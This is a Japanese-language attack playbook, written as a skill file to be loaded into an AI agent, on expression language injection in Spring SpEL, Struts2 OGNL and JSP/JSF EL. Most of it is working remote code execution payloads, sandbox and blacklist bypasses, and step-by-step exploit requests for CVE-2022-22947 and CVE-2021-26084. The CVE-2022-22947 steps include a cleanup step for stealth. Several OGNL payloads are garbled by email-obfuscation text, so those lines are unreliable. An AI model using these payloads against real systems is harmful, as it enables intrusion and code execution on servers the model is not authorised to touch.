expression-language-injection

SKILL：式言語インジェクション — エキスパート向け攻撃プレイブック

AI LOAD INSTRUCTION：SpEL（Spring）、OGNL（Struts2）、Java EL（JSP/JSF）を対象とした、エキスパート向け EL インジェクション手法です。SSTI とは異なり、EL インジェクションはテンプレートエンジンではなく、Java フレームワークに組み込まれた式評価器を標的にします。サンドボックスの回避、_memberAccess の操作、アクチュエーターの悪用、実際の CVE チェーンを扱います。

0. 関連するルーティング

• テンプレートエンジン（Jinja2、FreeMarker、Twig）については ssti-server-side-template-injection を参照してください。攻撃対象が異なります。
• EL 評価によって JNDI 検索が行われる場合は、jndi-injection を参照してください。

重要な違い：SSTI はテンプレートレンダリングエンジンを標的にしますが、EL インジェクションは Java フレームワークに組み込まれた式評価器を標的にします。検出用プローブ（${7*7}）は共通していますが、エクスプロイト手法は異なります。

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1. 検出 — ポリグロットプローブ

${7*7}              → 49 = SpEL, OGNL, or Java EL
#{7*7}              → 49 = SpEL (alternative syntax) or JSF EL
%{7*7}              → 49 = OGNL (Struts2)
${T(java.lang.Math).random()}  → random float = SpEL confirmed
%{#context}         → object dump = OGNL confirmed

判別方法

${7*7} への応答	%{7*7} への応答	エンジン
49	リテラル %{7*7}	SpEL または Java EL
リテラル ${7*7}	49	OGNL（Struts2）
49	49	両方が有効な可能性があります

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2. SpEL（Spring Expression Language）

SpEL が使用される場所

• @Value("${...}") アノテーション
• Spring Security の式（@PreAuthorize）
• Spring Cloud Gateway のルート述語およびフィルター
• Thymeleaf の th:text="${...}"（__${...}__ による前処理と併用する場合）
• SpEL を使用する Spring Data の @Query

Runtime.exec による RCE

${T(java.lang.Runtime).getRuntime().exec("id")}

出力取得を伴う RCE（Commons IO）

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("id").getInputStream())}

出力取得を伴う RCE（Spring StreamUtils）

#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream()))}

ProcessBuilder（Runtime がブロックされている場合の代替手段）

${new java.lang.ProcessBuilder(new String[]{"id"}).start()}

Spring Cloud Gateway — CVE-2022-22947

アクチュエーター経由で悪意のあるルートを追加し、SpEL フィルターを使用してエクスプロイトします。

# Step 1: Add route with SpEL in filter (with output capture)
POST /actuator/gateway/routes/hacktest
Content-Type: application/json
{
  "id": "hacktest",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream()))}"
    }
  }],
  "uri": "http://example.com",
  "predicates": [{"name": "Path", "args": {"_genkey_0": "/hackpath"}}]
}

# Step 2: Refresh routes to apply
POST /actuator/gateway/refresh

# Step 3: Trigger the route
GET /hackpath
# Response header "Result" contains command output

# Step 4: Clean up (important for stealth)
DELETE /actuator/gateway/routes/hacktest
POST /actuator/gateway/refresh

SpEL サンドボックスの回避

SimpleEvaluationContext が使用されている場合（T() 演算子が制限されます）：

// Try reflection-based bypass:
${''.class.forName('java.lang.Runtime').getMethod('exec',''.class).invoke(''.class.forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'id')}

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3. OGNL（Object-Graph Navigation Language）

OGNL が使用される場所

• Apache Struts2 — 主な OGNL 利用先
• Confluence Server — 特定のリクエストパスで OGNL を使用
• ognl.Ognl.getValue() または ognl.Ognl.setValue() を使用する Java アプリ

基本的な RCE

%{(#cmd='id').(#[email protected]@getRuntime()).(#rt.exec(#cmd))}

Struts2 サンドボックスの回避 — _memberAccess の操作

Struts2 は SecurityMemberAccess によって OGNL を制限しています。従来の回避方法では制限を解除します。

%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd','/c',#cmd}:{'/bin/sh','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

Struts2 OgnlUtil のブラックリスト解除

以降の Struts2 バージョンでは、クラスおよびパッケージのブラックリストが使用されています。excludedClasses と excludedPackageNames をクリアして回避します。

%{(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(#cmd='id').(#[email protected]@getRuntime().exec(#cmd))}

主な Struts2 CVE

CVE	ベクター	ペイロードの場所
S2-045 (CVE-2017-5638)	Content-Type ヘッダー	Content-Type 内の %{...}
S2-046 (CVE-2017-5638)	マルチパートのファイル名	アップロードファイル名内の OGNL
S2-016 (CVE-2013-2251)	redirect: / redirectAction: プレフィックス	URL パラメーター
S2-048 (CVE-2017-9791)	Struts Showcase	OGNL を含む ActionMessage
S2-057 (CVE-2018-11776)	名前空間 OGNL	URL パス

Confluence OGNL — CVE-2021-26084

Confluence Server では、queryString またはアクションパラメーターを介した OGNL インジェクションが可能です。

POST /pages/createpage-entervariables.action
Content-Type: application/x-www-form-urlencoded

queryString=%5cu0027%2b%7b3*3%7d%2b%5cu0027
# URL-decoded: \u0027+{3*3}+\u0027
# If response contains 9 → confirmed
# Escalate to Runtime.exec for RCE

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4. Java EL（JSP / JSF）

Java EL が使用される場所

• JSP ページ：${expression} および #{expression}
• JSF（JavaServer Faces）：値およびメソッドのバインディング
• カスタムタグライブラリ

RCE ペイロード

// Java EL with Runtime:
${Runtime.getRuntime().exec("id")}

// Via pageContext (JSP):
${pageContext.request.getServletContext().getClassLoader()}

// Reflection-based:
${"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")}

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5. 検出方法

Input reflected and ${7*7} returns 49?
├── Java application?
│   ├── Struts2? → Try %{...} OGNL payloads
│   │   └── Check Content-Type injection (S2-045)
│   ├── Spring? → Try T(java.lang.Runtime) SpEL
│   │   └── Check /actuator/gateway (Spring Cloud Gateway)
│   ├── Confluence? → Try OGNL via action parameters
│   └── JSP/JSF? → Try Java EL payloads
│
├── Error messages reveal framework?
│   ├── "ognl.OgnlException" → OGNL
│   ├── "SpelEvaluationException" → SpEL
│   └── "javax.el.ELException" → Java EL
│
└── Blocked by sandbox?
    ├── OGNL: clear _memberAccess / excludedClasses
    ├── SpEL: reflection bypass for SimpleEvaluationContext
    └── Try alternative exec methods (ProcessBuilder, ScriptEngine)

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6. クイックリファレンス

# SpEL RCE:
${T(java.lang.Runtime).getRuntime().exec("id")}

# OGNL RCE (Struts2):
%{(#[email protected]@getRuntime()).(#rt.exec('id'))}

# OGNL with sandbox bypass:
%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#[email protected]@getRuntime()).(#rt.exec('id'))}

# Java EL RCE:
${"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")}

# Confluence CVE-2021-26084 probe:
queryString=\u0027%2b{3*3}%2b\u0027

# Spring Cloud Gateway CVE-2022-22947:
POST /actuator/gateway/routes/x  → SpEL in filter args
POST /actuator/gateway/refresh